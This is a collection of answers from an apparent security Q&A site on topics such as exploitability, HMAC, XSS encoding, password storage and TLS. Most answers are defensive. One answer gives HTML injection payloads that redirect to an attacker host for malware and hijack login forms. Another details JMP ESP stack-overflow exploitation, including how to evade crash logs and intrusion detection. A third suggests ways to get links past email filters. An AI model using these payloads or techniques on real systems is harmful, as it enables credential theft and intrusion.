Many crashes aren't exploitable for anything except denial-of-service (DoS). The most common example would be a NULL pointer read; attempting to dereference a pointer to (or anywhere near) 0 will fail, and unless the exception/signal is caught will cause the program to crash. However, just because the program tries to read from zero when given invalid input doesn't mean that it'll do anything more exciting if given a different invalid input.

Determining the exploitability of a crash is tricky. There's a few heuristics you can use (writes are usually worse than reads, if the instruction pointer is pointing at non-executable code - a NX/DEP violation - that's almost certainly exploitable, if it's a null pointer read then that's pretty unlikely to be exploitable) but they're not perfectly accurate. There are tools that will analyze a crash dump and try to guess for you (for example, Microsoft published a "!exploitable" command for the Windows debugger windbg that will perform this analysis; there are similar tools for Linux debuggers). To know for sure, you need to analyze the program flow that caused the memory corruption and see how much influence you have over it, and whether you can make it do anything actually dangerous.


Alternatives to cryptographic signatures

My overall goal is to be able to verify the message is valid, and
  retrieve the message (does not matter if it's visible or not) with the
  smallest overhead possible, with both endpoints under my control, but
  the communication is always stateless and easily modified by a third
  party.

You don't seem to require encryption, since it "does not matter if [the message is] visible." Rather, you seem to just require an integrity check on the message.

So, instead of encrypting you can use a Message Authentication Code (MAC) that is appended to the plain text message. However, in order to avoid the adversary tampering with the MAC, you still need a shared secret key on both endpoints. In this case the key is an "integrity key" not an "encryption key."

There are well-known methods for creating a strong keyed MAC, one of these well-known methods is called "HMAC" (see Wikipedia for brief description).

If use use a SHA256-based HMAC then the overhead will be 32 bytes (256 bits).

Update: As mentioned in the comments, there are alternatives to the SHA256 hash function that can be used--HMAC can be used with any hash function, but for your purposes a cryptographically secure hash function (like SHA256) should be used. Also, the commentator mentions that the HMAC tag can be truncated from 32 bytes down to a smaller length such as 16 bytes. This is true. The trade-off is that truncation makes it easier for the attacker to forge a tag, but for your purposes the difference in attack difficulty in forging a 16 bytes tag vs a 32 byte tag may not be an issue.


How to access my router securely (using WiFi)?

It depends on if your router supports encryption in the web interface; I would guess that it does. Based on your screenshot, you are using http, which is unencrypted, to connect and login to your router. This would mean your username and password are being sent in the clear when you log in to manage the device. For obvious reasons, this is bad. Try connecting to the router with https://192.168.1.1/ (or whatever the router's current IP address is).

More on HTTP.
More on HTTPS.

TL:DR; see if there in encryption available.


The problem of securely transmitting a username and password is a solved problem, HTTPS is elegant and works well.

In terms of this proposal it is significantly less secure than HTTPS,  because this proposed system is vulnerable to a replay attack.  Who cares what the username and password actually are,  if you just login with hash(user+password),  then this is the only value the attacker needs to know.

Secure hash based challenge responses usually innovate a causation where the server provides the client with a nonce,  and then the hash(nonce+hash(password)) is used.  The nonce can never be reused,  Microsoft's NTML has had this problem "fixed"  more than once.

After you login with the username and password you still need to protect the session id,  which is the authentication token sued by the browser to maintain the authenticated state,  so HTTPS is a good solution for this as well.


What countries have laws in place that respect Do Not Track HTTP headers or cookies?

In the USA, privacy is a hot topic in congress — at least privacy with respect to what a corporation knows about us.  Mainly because corporations are slowly proving their inability to protect the information they collect from us.

On paper major corporations have recently agreed to honor Do Not Track headers, they have promised to provide a means to enable/disable this option, it happening slowly but still progress I suppose.

The problem is simply every country has a different expectation of privacy.  So what level of privacy should be the default?  Using the user's country to determine that is a bit of information, and a great way, to suppress information.

At this point the worst a company can do is break their own policy, get caught doing so, and have it be reported on by the world's media.  There really isn't a standard.

As Hendrik Brummermann points out.  A country that does have laws on the books about privacy has their hands tied, on companies outside of their borders, because the internet being borderless.


.NET provides 8+ ways to encode data to prevent XSS attacks. Which one should I use when?

This is sort of the source for preventing XSS in ASP.NET (at least from Microsoft):
How To: Prevent Cross-Site Scripting in ASP.NET
Some important things to glean from the article specific to your question:

Use the HttpUtility.HtmlEncode method to encode output if it contains input from the user or from other sources such as databases.

use HttpUtility.UrlEncode to encode output URLs if they are constructed from input.

Regarding HTMLAttributeEncode:

The HtmlAttributeEncode method converts only quotation marks ("), ampersands (&), and left angle brackets (<) to equivalent character entities. It is considerably faster than the HtmlEncode method.

The string result from the HtmlAttributeEncode method should be used only for double-quoted attributes. Security issues might arise when using the HtmlAttributeEncode method with single-quoted attributes.

And finally, with UriEscapeString, use that if what you are escaping is a URI. This SO question discusses the difference between UriEscapeString and UriEscapeDataString.


Unfortunately, .tk is one of the TLDs that are notoriously associated with certain threat actors and are used by malware to establish C2 channels (malware home-calling).

SNORT and Suricata (two most widely-used opensource IDS/IPS solutions) even have detection rules written for .tk, .pw and .ru URLs, it would generate an alert for the SOC analysts every time a hit is recorded against them in the network.

I'd suggest using a purchased domain name to get past the email filters.  GL!

BONUS: You might want to check your URL/domain names at https://www.urlvoid.com to see if they're marked malicious or suspicious by security vendors/spam databases.


What is the real benefit of a three tier architecture?

A three tier architecture does not necessarily mean that all the tiers are on different servers or even processes. It is more a thing that you abstract the parts  of your application from each other that lets them interact only with clearly defined interfaces. In your case it means keeping the storage logic (database) separate from the business logic (application) and from display of the results (HTML, CSS, ...). This separation is mainly a logical separation that allows an easier physical separation should you need it. The separation can be done inside processes (i.e. different objects for the tiers), or even different systems.

The separation between these parts is not mainly done because of security but so that you can easier understand and manage the application. It makes it possible to make changes on one layer without many changes to the other layer, i.e. you could scale the database or even change the underlying database without much impact to the application layer. Or you could have different UI (web, mobile app...) ideally without changing the application layer and the database.

Of course this kind of separation can be helpful for security too. Clearly defined interfaces between the tiers make it easier to audit the application. You could also better detect and deter possible attacks if you actually know how the parts should interact with each other. In short the application can be made more robust  with less effort, which helps to scale, it but also helps in security.
And if the different tiers are actually separate processes (which is usually the case with at least web server and database) then you could put them into different security realms, i.e. different user accounts, different containers, VM or even different servers. This helps in keeping the system more robust and less attackable too.


Is KDD CUP methodology sufficient to describe all possible attacks in IPv6?

First I doubt that this dataset is even sufficient to describe all possible attacks at the IPv4 level. This dataset is from 1999 and in the mean time TCP was developed further (for example TCP fast open) or new attacks were discovered (like TCP split handshake).

Apart from that IPv6 is not just not an extension of the address range. The header format is different and it provides different mechanisms for extensions which could be misused in attacks. Also ICMP and ICMPv6 have some significant differences etc.

  please specify any attack that won't be detected using the above features.

This would be too broad. But a simple search will you provide with a wealth of information, for example IPv6- IPv4 Threat Comparison v1.0 where within "Attacks with New Considerations" it also shows attacks new with IPv6.


Why PHP password_hash does use blowfish intstead threefish?

PHP uses bcrypt for password_hash(), but since PHP is PHP, they have to maximize confusion, so they call it "Blowfish".

Besides being a family of highly poisonous fish, Blowfish is a block cipher for more than 20 years ago. Bcrypt is a password hashing function that happens to be derived from an internal block cipher which is similar to Blowfish -- but it is used for something completely different from what block cipher are meant to be used for, i.e. encryption.

Threefish is another block cipher, which was designed much later on for yet another purpose, which is the design of the Skein hash function. Now pay attention, for here comes the tricky point. "Hash functions" and "password hashing functions" are completely different things. Despite the similarity in name, they are very distinct beasts, that take different kinds of inputs, produce different kinds of outputs, and have very different security requirements and properties.

Threefish was designed as a block cipher for a variety of reasons, the primary of which being the need for large blocks (512 bits or more), because you need large blocks to make a hash function that resists collisions. However, collisions are completely irrelevant to password hashing, and the short block size of Blowfish (64 bits) is not a problem for bcrypt.

As block ciphers, Threefish is "better" than Blowfish in a lot of ways (bigger blocks, faster, can be implemented without tables...). As a building block for a hash function, Threefish is again better than Blowfish, but in different ways. As a building block for a password hashing function, Threefish is actually worse than Blowfish, for about the same reasons that Threefish is better than Blowfish for a hash function; in particular, Threefish can be implemented without tables. This means that Threefish allows for thoroughly optimized parallel implementations on GPU, something which is good in general, and very bad for password hashing.

None of this really explains why PHP has not "switched to Threefish". This just tells why such a switch would be a bad idea.


How secure is Goodlink for mobile phones when compared to Activesync?

I do not have answers to your specific questions but I can lend a hand in defending the use of Good.

Activesync requires an exposed server, Good does not.
Activesync depends on a username/password for authentication and the username/password is stored on the device. In the case of android phones there is potential for malware to access this information.
Wiping company data is much cleaner with Good as I can wipe just the good app and leave your personal data. With Activesync I have to wipe your entire device using the Exchange tools.

That being said, I also use the Good app on my iPhone and I have to say it could be improved. I do not think Good offers a good user experience when compared to the default iPhone capabilities for email/calendar/contacts.


When I disable an installed extension in Chrome, will it still try to connect to the internet?

When you disable an extension, Chrome doesn't execute its code anymore.

It's still here, on your disk, but Chrome knows it's not active, so it won't load or execute anything.


To avoid any infection you should remove the USB ports.

Here are some measures one might take to minimise the probability of an infection:

1.) Provide users with USB devices. Allow only those devices to be used.

2.) Disable autorun for USB devices.

3.) Disallow the use of U3 devices.

4.) Allow only specially trained users with the permissions to transfer files between USB devices and your network. Those should know the procedures to minimise the probability of transferring infected files to your network (e.g. scanning the files beforehand).

5.) Allow the use of USB devices only on specific, air-gaped computers. Check files for malware before transferring them to your network.


can someone watch my facebook video chats from a computer im still logged in on?

No. The video is end to end.  All devices would 'ring' but video is only made to the one that 'answers'.


If a server only opens port 22 and 80, do we only have those two ways to hack it?

Not really. I'd say it depends on your threat model. There might be other threats that don't need to use those ports in order to compromise your server. The first example that I can think of right now is a supply-chain attack. When you update any software on your server, if the updated software has been compromised by a supply-chain attack, your server will get infected. Or if you install example-program by mistake instead of example_program (note the hyphen instead of the underscore), and example-program was malicious and had been given that name on purpose to confuse you, then your server will be compromised. I think something like this happened recently... oh, yesterday (Bitcoin stealing apps in Ruby repository). Other examples? Maybe some MITM in the outgoing connections from your server. Then let's not forget about phishing, or anything involving social engineer.

So to be precise, if you asked me "in general, can I only be hacked by a remote threat through open ports?", my answer would be no. Whether some threats are likely or not though, depends on your threat model, which in turn depends on what your server does, how you are managing it, who you are, etc.


Asymmetric vs symmetric encryption benchmarks

In fact, the assertion that asymmetric cryptography is slower than symmetric cryptography does not make a lot of sense. They do not do the same thing. What asymmetric cryptography does, symmetric cryptography cannot do; less intuitively, this also works the other way round: what symmetric cryptography does, asymmetric cryptography cannot do.

Asymmetric encryption allows making the encryption key public, without revealing the decryption key; this is the obvious advantage of asymmetric encryption over symmetric encryption, and the reason why it was invented in the first place.

In the other direction: asymmetric encryption processes only messages of a limited size, and inherently incurs a non-fixed size overhead. For instance, with a 2048-bit RSA key and following the PKCS#1 standard (RSAES-PKCS1-v1_5), input messages cannot exceed 245 bytes in length, and yet yield a 256-byte output. It is unclear how a longer message should be split into sub-messages to be processed individually with RSA; this superficially looks like the "chaining" problem with block ciphers, for which modes of operation have been defined, allowing bulk processing of input data. However, block ciphers are easy: they work over nice sequences of bits, and encrypted blocks are indistinguishable from uniform randomness. The same would not hold for, say, RSA, where encrypted messages are integers modulo a big integer which is not a power of 2, which induces biases. This problem of chaining RSA encryptions is not well-studied, and does not seem to have obviously secure solutions.

The size overhead for asymmetric encryption is consubstantial to its asymmetry: since the encryption key is public, everybody can try to encrypt data with the encryption key. If the encryption is deterministic, then this allows an immediate brute force attack on the plaintext (the attacker tries potential plaintext values until a match is found). To prevent that, the encryption MUST be non-deterministic, which in turn implies a size increase (because of pigeonholes).

The raw consequence is that asymmetric encryption is not good at bulk encryption. When the data to encrypt is larger than the elementary size of the algorithm, then we do not really know how to do it securely, but we have rather fundamental reasons to believe that it would be expensive in terms of network bandwidth.

None of the above is about computational cost. To make a meaningful comparison that takes computational cost into account, one must be in a context where there is, indeed, a choice between symmetric and asymmetric encryption to be made. Basically, this would be a situation where:

You want asymmetric encryption for a message m.
You may want to use so-called "hybrid encryption": asymmetric encryption to encrypt a random key K, that you then use to process the data with a symmetric encryption algorithm.
The message m could be processed directly with the asymmetric encryption algorithm.

The third condition means that m is small enough to be the input of a single invocation of the asymmetric encryption algorithm, since otherwise you would not know how to process it. In that case, raw asymmetric encryption necessarily wins, since the choice is between "one asymmetric encryption" and "one asymmetric encryption plus some symmetric encryption stuff". On the other hand, if the size of m may exceed that which can be processed with a single call to the encryption algorithm, then you are back to the chaining problem, and any talk about performance is at best premature: first define what you want to do, see whether it is secure, and then (only then) can we talk about speed.

To make an analogy: you could ask which vehicle is faster, between this one:

and that one:

If you think that the answer is obvious, go drive your Ferrari into a lake...


Are there any mechanisms in TLS 1.2 protocol against timing attacks?

Yes.  See the RFC for TLS 1.2 (RFC5246) and note the MUST.

   Implementation note: Canvel et al. [CBCTIME] have demonstrated a
   timing attack on CBC padding based on the time required to compute
   the MAC.  In order to defend against this attack, implementations
   MUST ensure that record processing time is essentially the same
   whether or not the padding is correct.  In general, the best way to
   do this is to compute the MAC even if the padding is incorrect, and
   only then reject the packet.  For instance, if the pad appears to be
   incorrect, the implementation might assume a zero-length pad and then
   compute the MAC.  This leaves a small timing channel, since MAC
   performance depends to some extent on the size of the data fragment,
   but it is not believed to be large enough to be exploitable, due to
   the large block size of existing MACs and the small size of the
   timing signal.


Need help to define existing web app vulnerability

From the information you've provided it sounds like your issue would fit in to OWASP 2013 Top 10 under "A7 - Missing Function Level Access Control" as the application should apply an access control to restrict who can see that information but appears to be failing to do so.


Why the Websense blocks same site when used with http & not when used https?

"Websense" is a number versions of several different products, and without knowing which one is in use, I can't say for certain what the reason is that HTTPS connections are getting through.  However, there are a couple of likely candidates:

1) Some Websense software does not have HTTPS proxy capabilities.  Without this ability, the Websense software cannot read the requests to see what page is being requested.  All it can see is that a connection is being made to a given IP address, which greatly limits the ability to filter (it can only filter by physical server, not by domain or URL).

2) Other Websense software can proxy HTTPS connections, by providing its own SSL certificate and acting as a man-in-the-middle attacker.  In this case, HTTPS connections aren't being filtered because the software simply hasn't been configured to do so.


Contents retrieved from a not protected url from content owner's server. Legal?

In the past I would have said, "All answers point to yes".

However, due to the somewhat recent sentence handed to Andrew Auerheimer last year, I would say the answer is "no".

http://www.net-security.org/secworld.php?id=14614

  "The facts are simple. In June of 2010, Andrew Auernheimer’s
  co-defendant Daniel Spitler discovered that AT&T’s servers were
  publishing email addresses of iPad subscribers on the servers
  authentication log in page when queried with a SIM card number that
  matched an existing AT&T subscriber’s SIM card number. Upon
  discovering this, Spitler wrote an iterative script that queried
  AT&T’s publicly accessible iPad servers and copied over 120,000 email
  addresses. No password or any type of security was ever hacked, nor
  was any attempt ever made to hack any password or bypass any existing
  security measures. In essence, what Spitler’s script did could be done
  by anyone with a web browser who entered in the right combination of
  numbers into a URL,"

http://www.forbes.com/sites/andygreenberg/2012/11/21/security-researchers-cry-foul-over-conviction-of-att-ipad-hacker/

  "If merely visiting an unrestricted web page to copy an email address
  counts an unauthorized access, the legal line between intrusive
  hacking and testing websites for vulnerabilities--or merely visiting a
  website at all--could be blurred"


How does Google save our passwords on their server?

Passwords should be stored hashed and salted
Because we must assume every database might get breached, plain text passwords should not be stored anywhere. Instead, the password should be hashed, which is a one-way algorithm, preferably using an algorithm that is slow to calculate and using different and long salt for every password. There are many articles explaining these methods in general, including CrackStation: Salted Password Hashing - Doing it Right.
Google account passwords
Unless Google has documented it somewhere (or the hashes were breached) we could not tell details about their implementation. We can only trust this giant is treating our passwords properly. But everybody makes mistakes, and even Google was actually storing plain text passwords in one of their solutions for 15 years (2005–2019). From Suzanne Frey: Notifying administrators about unhashed password storage:

Google’s policy is to store your passwords with cryptographic hashes
that mask those passwords to ensure their security. However, we
recently notified a subset of our enterprise G Suite customers that
some passwords were stored in our encrypted internal systems unhashed.
This is a G Suite issue that affects business users only–no free
consumer Google accounts were affected–and we are working with
enterprise administrators to ensure that their users reset their
passwords.

Knowing this, as a user you should:

Use a different password for every service. If one gets breached it does not affect all the others.
Use strong, long passwords. If a hashed version of a password leaks, it will slow down the process of offline brute-forcing it.

To achieve both, using a password manager is recommended. A good password manager stores all passwords encrypted with a master password.
While it would be most secure to only store the passwords offline, it might be more convenient to synchronize the passwords between devices. This synchronization should keep the store encrypted: the passwords should not be stored plain in the cloud nor the service provider should even know any of the passwords for 3rd party services.
Google Chrome password manager (not a good choice)
As mentioned in the comments, Google Password Manager is a case where Google actually do have your plain text passwords on their servers without hashing them, as it is the only way to keep them usable while every Chrome installation logged in to your Google account has access to them. This does not meet the requirements for a good password manager established above.
It is possible to disable the synchronization from chrome://settings/syncSetup/advanced by switching the Passwords option off. However, it does not make the local store secure.
More to read:

Chris Hoffman: Why You Shouldn’t Use Your Web Browser’s Password Manager
Mark Hachman (PCWorld): Google Chrome's new password manager makes securing Chrome even more important
Ed Bott (ZDNet): Is it OK to use your browser’s built-in password management tools?


What are some useful tags and payloads for HTML injection on CSP-protected sites?

You could try to do a redirect to another URL using meta-tags:

  <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware">

And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP.

  <form action=login.php> <!-- original action -->
  <form action=http://attacker.example.com/login.php>  <!-- your injected action -->
  ...<input type=password ....
  </form>

And of course you could include any kind of links to other sites, because links are not affected by CSP too.


Difference between a security analyst and a security engineer?

There's no strict definition, and some organisations or recruiters will interchange the terms arbitrarily.

Generally speaking, a security analyst will work more on the attack side, performing penetration tests and identifying security issues. A security engineer will work more on the defence side, building secure systems and resolving security incidents. There is often overlap between the roles, particularly when a security analyst is working internally within an organisation (e.g. internal pentest team), rather than as an external consultant (often referred to as a security consultant, penetration tester, or ethical hacker).


No, not by default. When setting up a connection no local username will be send over to the server, only the username / password needed to connect to that server.

They can try to find this out by using something like finger once you have connected, but since you would have to have fingerd running, this is unlikely to happen.

If it is needed to send over the local username, you could send this over as a variable, but this would also need to be configured on the server.


Testing a password for similarity to previous hashes

I'd like to suggest that you consider why people change passwords.  It could be because the user believes the password is compromised, or "because security;" the system is forcing regular changes in the belief that such changes somehow improve security.  I would argue that a strong password needs to be changed only in the case of compromise.  Further, there are thousands of weak passwords with a Levenshtein distance > 2.  I could alternate through: loveyou1, hateit2, scroomall3, Shannon4, and dammit5 and be completely within the rules you put forth.  Yet, all of these will fall to dictionary-based guessing in seconds.

You have correctly computed that you cannot do what is proposed within a reasonable time.

If you limit the key space to the printable ASCII characters, you violate one of Shannon's principles (the key space should not be artificially constrained) and at least potentially make your passwords less secure.  "Less secure" is at least mostly theoretical, because people will at least mostly use the characters on the keyboard.  Even so, we reject this alternative because it reduces the key space.

Reducing the Levenshtein distance to one doesn't really help you, as my examples show.  So we reject it.

We reject locking out users as a violation of the property of availability.

You are left with comparing the current password for similarity and the previous passwords for identity, and that is what I recommend.  You can't even do that when using a reset token, so you have to compare all for identity, and that is OK.  People should not "change" their passwords to their current values.

Beyond all of that, I'd suggest you revisit why you want to force password changes in the absence of evidence of compromise.  Mostly you will get loveyou1, hateit2, scroomall3, Shannon4, and dammit5, or things very similar.

Finally, it might be a better use of programming time to reject the most frequent 1,000 or 2,500 passwords instead of worrying about password history.  In a high-security application, you might reject the top 10,000, but for ordinary users that's tantamount to rejecting everything.  One such password list is here: https://xato.net/passwords/more-top-worst-passwords/


Where is the PKCS v1.5 or OAEP padding?

For RSA, PKCS1v1.5 is in 5.1. The other kind of publickey encryption used by PGP and described in the same section, usually written El Gamal or abbreviated EG but here written Elgamal, is already randomized and doesn't need to pad the encrypted data, which is for either algorithm a slightly modified form of the 'session' key. (Since PGP is designed and used in a way that I don't consider to really be a session, I often substitute the more generic term DEK = Data Encryption Key.)

  Where is the hash/hmac integrity check?

That's a 'recent' (this century) addition.
See 5.13
and 5.14.

  Where is the signature?

2.1 is only confidentiality. The next section introduces Authentication via Digital Signature and the details are in 5.2
and 5.4
although it's a bit tedious to disentangle signing of data from signing of keys which is more complicated but a vital part of PGP.


Does Web Apps and Databases running on AWS EC2 need a IDS/IPS?

I'm not sure how you would manage a physical IDS on AWS since you are limited to what Amazon has in their system.  When using a cloud provider, you largely have to trust their physical security, but you can reinforce it with your own software security to attempt to protect against any broad breach in their technology or any direct attacks against functionality you don't need or don't use in certain contexts.


How to securely transfer DUKPT BDK between HSMs?

Spoke to a sales rep of Thales distributor.

Generate a Zone Master Key (ZMK), which is a KEK.
Distribute that to the destination party, in multiple components, via different media.
Load that ZMK in destination HSM.
Source HSM can now export that BDK, encrypted using the ZMK, which can now be sent to destination
And loaded into destination HSM and decrypted using the shared ZMK.

So like what I proposed, but with symmetric, instead of asymmetric.

This does not inhibit the 3 ZMK component custodians from colluding - retaining the ZMK somewhere, and then being able to later export the BDK and decrypt it.   But apparently this is the standard way.


Why JMP ESP instead of directly jumping into the stack

Your exploit payload ends up on the stack because you're overflowing a buffer on the stack, and this is how you gain control of the return address as well.

ESP points directly to the start of your payload (after execution of the ret in the function you're attacking) because you put the payload right after the 4 bytes that overwrite the return address on the stack.  ret pops 4 (or 8) bytes into EIP, leaving ESP pointing to the payload that directly follows.

But you don't know what value ESP will have at that point, because of stack ASLR and because a different depth of call stack leading up to this point could change the address.  So you can't hard-code a correct return address.

But if there are bytes that decode as jmp esp or call esp anywhere at a fixed (non-ASLRed) address in the process's memory, you can hard-code that address as the return address in your exploit.  Execution will go there, then to your payload.

This is in fact often the case: Some DLLs don't have ASLR enabled for their code, and the main executable's code may not be ASLRed either.

Code ASLR for all code defeats a jmp esp attack, unless the attacker can cause the target process to leak addresses.

Note that for 64-bit code, you're unlikely to be able to use jmp rsp for string-based buffer overflows, because code addresses will contain some leading 0 bytes.

Thus, jmp esp gives you a much more reliable exploit than repeatedly guessing a return address (with a very large NOP sled).

Repeated guessing will crash the target process every time you're wrong, but a jmp esp can give you a high chance of success on the first try. This will avoid leaving crash logs.  It could also defeat an intrusion-detection system that looks for crashing server processes and blocks connections from your IP address, or similar.

Note that the 2-byte instruction you're looking for can appear as part of another instruction when the program executes normally, or as static data (especially read-only data is often in executable pages).  So you just need to search for the 2-byte sequence, not for jmp esp in disassembly of the program.  Compilers will never use jmp esp, so you won't find one that way.

More generally, any function that ends with a buffer pointer in any register (e.g. from a memcpy or especially strcpy) can allow a ret2reg attack, by looking for a jmp eax instruction.

This can work in 64-bit mode, where addresses have some high zero bytes; if strcpy's trailing zero writes that high address byte for you, the end of your exploit string could be the non-zero address bytes that overwrite the return address on the stack.

In this case, the executable payload would go before the return address, at the spot in the buffer where the function leaves a register pointing.  (Typically the beginning of the buffer if there are any useful pointers to the buffer in registers at all).


How is Tails operating system tested to make sure its authenticity

The Amnesiac Incognito Live System, or TAILS, is a project of the Tor Project.

One can attempt to verify whether or not such an OS is benign on their own in a lab environment. Of course, there is the possibility of third-party verification by combing signatures, looking for anomalous code, watching network traffic and otherwise looking to see what the OS does on test/lab machines to see if it is working as indicated.

As Bruce Schneier has astutely elucidated, security issues come down to a matter of trust.  In this case the question is, do you trust the Tor project and the TAILS developers?

How do you know if you can trust Tor?

Start with the people: https://www.torproject.org/about/corepeople.html.en
You can see one of their lead developers is Jacob Appelbaum, of NSA surveillance outing/WikiLeaks fame, among others of note.

Then look at the track record of the organization.

From there you may be able to come to your own conclusions about the Tor organization and whether or not you'd trust them.  My personal opinion is, yes, for now I do trust them and they have strong and good ethics.

Also remember to verify signatures when downloading ISOs to ensure integrity in transit.


Why are ASP.NET form authentication cookies deleted only on client side if client side can't be trusted?

First, let's clear up a misconception.  There is no such thing as a "server-side cookie."  While a server can send cookies with an HTTP response, there is no server-side cache of valid cookies.  That is a construct that only exists on the client side in a user agent (such as a browser) that supports it.  This is what makes cookies powerful.  You can maintain state for thousands, or hundreds of thousands of users (or more!) and the only resources required are a little bit of memory and storage on each client machine, and none at all on the server side.  The only knowledge a server needs to have of a cookie is how to parse it out of a request, and how to set it (if required) on a response.

Now, let's talk about Forms Authentication specifically.  Forms Auth is a purely cookie-based authentication mechanism.  (For the sake of simplicity and to focus on the question at hand, I'm going to leave cookieless-FormsAuth out.)  This means that you have a simple, light-weight, easy to configure authentication mechanism that requires little in the way of server resources and no shared server-side state management process and overhead.

What this also means, is that when you send that original authentication ticket to the client, for as long at that ticket is valid, it can be used to authenticate future requests.  No change that you make (expiring the cookie, setting additional expiration information in a new ticket and replacing the cookie, adding additional "logged out" cookies" can prevent the original cookie from being used as long as it is valid.

Is this a problem?  In practice, not usually.  For most applications, this does not create a specific threat that needs to be mitigated and the ability to authenticated users without being tied to a server-side resource investment requirement is quite attractive.  If you can't quantify the value of adding the additional mitigation of server-side session invalidation for your application, then implementing it is a net loss, not a desirable outcome.

If the threat model for you application does demonstrate a specific reason to need to securely de-authenticate sessions, then bare Forms Authentication is not for you, and you need to implement a server-side session validation mechanism on top of it track authentication state to determine which users are valid authenticated users and drop requests from all others, regardless of the nominal validity of the authentication ticket submitted with a forms auth cookie.

Lastly, do other frameworks work this way?  Certainly many do.  This is a necessary property of any stateless authentication system that is relying on a ticket submitted by a client to determine authentication state, and that's probably more authentication mechanisms than not.  Authentication systems that have a server-side session management component can avoid this by tracking authentication state server-side, whether any given system does it correctly is up to the reader to test.  Not as germane but worth mentioning...Not all authentication systems have the concept of signing out in the first place.  If you're using certificate authentication, or integrated authentication, for instance, there is really no concept of "signing out" and transition back from an authenticated to an unauthenticated state, and in these cases the issue is irrelevent.


The state of the art is as follows:

Registration page is posted back to the same server, which contacts and updates whatever authentication database you want.
Passwords are hashed either on the webserver or the authentication server (if the auth server is more than just a database).  Use bcrypt or scrypt for the hashing.
The account creation & password reset pages should be served over SSL.

Keep in mind that none of this hides the location of your game server to the users if the game server is contacted directly by the game, as users can then find the game server from the connection from the game client.


It sounds like you're looking for a "Hardware Write Blocker" http://www.forensicswiki.org/wiki/Write_Blockers

It's important to know why you need it.  There are cheapish ones out there that probably work fine.  Search for "Hardware Write Blocker Enclosure".  Stuff comes up, eg.., http://www.digitalintelligence.com/cart/ComputerForensicsProducts/3.5-Inch-USB3-Hard-Drive-Enclosure-WRITE-BLOCKER.html  It probably works fine.

For legal and military applications (Cameron can correct me if I'm wrong) evaluation, selection, procurement and custody is controlled for these kinds of devices.  I.e., they work because people qualified and responsible for ensuring they work say they work.  Money isn't much of an issue with that kind of thing.

For normal people, money is an issue.  Following the forensic and military leads on this information is probably the best we can do.


Anyone connected to the network, via wireless or wired, could use ARP spoofing or DNS hijacking to perform a man-in-the-middle attack against legitimate connections over the network.

I should point out that WEP provides security only against casual attackers. Freely available tools can crack the key using deauth and ARP injection in under a minute. I would highly suggest moving to WPA2 for your network, as WPA and WEP are considered broken.

You could also consider an enterprise option such as RADIUS for network authentication, as that provides additional security against password cracking, and integration with other user management platforms (e.g. active directory) within your environment.


Without the USIM application running on your UICC (the smartcard colloquially known as "SIM"), there's no crypto provider, so yes, I think the network and phone must then agree on unencrypted transmission.

So, first of all: whether emergency calls without a SIM are possible or not is up to local legislation. They work in many countries, but not all.

Also note that you'd have to assume you're in a hostile network if you're operating without a SIM, anyway, because there's nothing to authenticate the network. So, even if there was any possibility for basestation-handset crypto, you might be talking through your adversaries channels, so you've won nothing.


Are there reasons to match the target port/service protocol when doing a scan?

Technically port 23 is registered for telnet for both tcp and udp - see IANA port registry. And this is what nmap is showing: something is on udp port 23 (for example nc -u -p23) and based on the port mapping it writes "telnet" as service. This does not mean that there is an actual telnet service running on this port though.
This assignment of both tcp and udp for typically TCP-only services is fairly common for  services, i.e. SMTP, FTP, HTTP, POP3, IMAP ... all have the port for both tcp and udp reserved even though all of these are tcp-only services.


Anyway, out of curiosity I would like to understand if windows can also somehow read the chain?

There is no "somehow read the chain". Either it has the necessary chain certificates or it does not. It can have the certificates if they are provided up-front (i.e. installed locally) or if they are provided during verification. The latter is the common case, i.e. it is expected that the web server actually provides all necessary chain certificates along with the server certificate during TLS handshake.
If the chain certificates are missing some implementations might try to fill in the missing chain certificates for validation. For example Firefox caches chain certificates seen on past websites and then tries to use these cached certificates to fill in missing chain certificates. This works pretty well for public websites since the trusted root CA only use a small set of chain certificates. Chrome also tries to extract the URL of a missing chain certificates from Authority Information Access | CA Issuers information in a certificate and then loads missing issuer certificates from the given URL.


How to defend against attacker without affecting other users of same NAT gateway

Your solution is easy to config/code, but not so fair as you stated the ip could be for not only one person.

You could come with following alternatives:
1:
If the attack is for one particular user(let say user a), so after some failed logins disable the account and send an email/notification to the user to activate his/hers user, and/or activate the account after 24 hours of last attack.
Disabling the account means reject both fail and correct authentication for the given user, and instead of saying this account is disable, or wrong password, state it's invalid username or password.

2:
After some attack from the ip, ask for captcha for next login attempts, and always check the captcha first. If the attacker starts to continue attacking with vary IPs to skip the captcha, then act more smart and ask for captcha of every requests(assume it's code-security for your server).
Captcha(if it's good enough really) makes you sure the attacker is not robot(which 99% is).
Even if the attacker could get over the captcha, go back for the plan 1 again, disable the user becasue of too much fail logins.


Multiple vulnerabilities scanners at the same target

Yes, using dnmap, it is possible to split a workload.

If you read the URL here -- http://sourceforge.net/projects/dnmap/files/ -- the author gives examples of simultaneous scans that are ok and ones that should be avoided. The general opinion is that running more than one scanner is fine as long as the target ports and/or hosts vary. In other words, if a single target port and a single target host is targeted by each scanner, then the benefits of automation decrease.


How to do role-based authorization with OAuth2 / OpenID Connect?

The role concept can be used with access tokens in OpenID Connect (Oauth2).

Consider that a scope is a request for claims about the user that should be included in the access token.  The API requesting access knows that it needs the (say) "employee" role, includes the "scope=openid roles" query parameter in the request.

The authentication server (AS) has access to role information about the user (for instance in an LDAP directory).  It can then look up the user's roles, and include them in "roles" claim in the access token.

You could also narrow the scope by requesting the role itself (scope=openid employee), in which case the AS could include it if the user is a member of that group.  This is a bit less scalable as it requires detailed knowledge about the required roles, but reduces the amount of PII in the token, and reduces its size.  Also, if the user is not a member of the specified group (ie, the scope cannot be included in the token), the AS must inform the API about this as per OAuth2.

The role use is fairly common, and some examples can be found on:

https://docs.microsoft.com/en-us/azure/active-directory/develop/v1-id-and-access-tokens
https://connect2id.com/blog/using-openid-connect-to-make-assertions-about-end-users
https://www.keycloak.org/docs/latest/server_admin/index.html#roles

So as for questions 2) and 3): Don't do this :)


Problem with the security certificates on parents' WiFi

That particular router was found vulnerable in 2014 for the MoonWorm. It's possible you have fallen victim to someone who's trying to phish credentials or credit card information from your home.

I recommend verifying your payment details, changing passwords and replacing the router.


Why is a DNS Amplification attack considered a DDoS attack?

From the resource you cite:

  A misconfigured Domain Name System (DNS) server can be exploited to participate in a distributed denial of service (DDoS) attack.

From my understanding this means, that the distributed nature of the attack is only given if multiple servers are involved. "participate" is not really used when the affected server is the only one involved in the attack.


